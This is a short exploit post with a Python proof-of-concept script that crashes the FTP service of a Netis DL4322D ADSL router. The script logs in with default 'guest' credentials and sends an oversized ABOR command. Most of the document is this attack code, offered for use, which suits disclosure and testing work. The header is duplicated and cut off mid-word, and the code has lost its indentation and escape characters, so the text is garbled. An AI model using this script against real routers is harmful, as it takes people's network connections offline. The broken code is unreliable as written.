Netis ADSL Router DL4322D RKS 2.1.1 Denial Of Service

# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)
# Author: Cakes
# Discovery Date: 2018-09-16
# Vendor Homepage: http://www.netis-systems.com
# Softwa # Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)
# Author: Cakes
# Discovery Date: 2018-09-16
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A

# Description
# The FTP service is vulnerable to a Denial of Service attack. Attackers simply need to log
# into the router and send and valid FTP command with a character offset of 1461 as the command input

import socket

evil = 'x41'*1461

print " [*] Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)"
print " [i] Creating socket"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print " [i] Connecting..."
connect = s.connect(('192.168.1.1',21))
s.recv(1024)

try:
s.send('USER guest ')
s.recv(1024)
s.send('PASS guest ')
s.recv(1024)
print " [+] Connected"
except:
print " [!] Credentials aren't working. Please change if none default"

print " [+] Sending Payload"

try:
s.send('ABOR %s' % (evil))
print " [+] Payload sent"
print " [+] Router offline"
except:
print " [!] Something went wrong"

s.close()